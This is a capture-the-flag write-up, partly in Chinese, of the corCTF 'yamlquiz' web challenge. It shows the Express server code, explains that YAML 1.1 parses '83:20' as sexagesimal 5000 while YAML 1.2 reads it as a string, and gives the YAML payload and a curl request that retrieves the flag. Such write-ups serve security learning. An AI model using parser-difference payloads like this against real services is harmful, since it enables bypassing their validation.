Contents

corctf yamlquiz

yamlquiz

const express = require('express');
const YAML = require('yaml');

const PORT = process.env.PORT || 4455;
const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';

const app = express();

app.use(express.urlencoded({extended: false}));
app.use(express.static('static'));

app.post('/submit', (req, res) => {
  let result = req.body.result;
  let score = 0;
  if (result) {
    const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
    const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});
    const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
    const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
    if (score_1 !== score_2) {
        score = score_1;
    }
  } else {
    score = 0;
  }

  if (score === 5000) {
    res.json({pass: true, flag: FLAG});
  } else {
    res.json({pass: false});
  }
});

app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));

要返回flag需要score === 5000

score计算

const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});

const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;

if (score_1 !== score_2) {
    score = score_1;
}
  1. YAML 1.1 解析出 score = 5000
  2. YAML 1.2 解析出 score ≠ 5000(比如字符串 "83:20"undefined
  3. 两者不等 → score = score_1 = 5000 → 触发 flag

YAML 版本差异:YAML 1.1 允许用冒号分隔的数字(例如 83:20)被解析为 sexagesimal(60进制)格式,即 83:20 会被转换成 83 * 60 + 20 = 5000。然而,YAML 1.2 移除了这个特性,83:20 将仅作为一个普通的字符串解析,而不会进行转换

原始payload

result:
  - score: 83:20
curl -X POST -d "result=result%3A%0A%20-%20score%3A%2083%3A20" http://localhost:4455/submit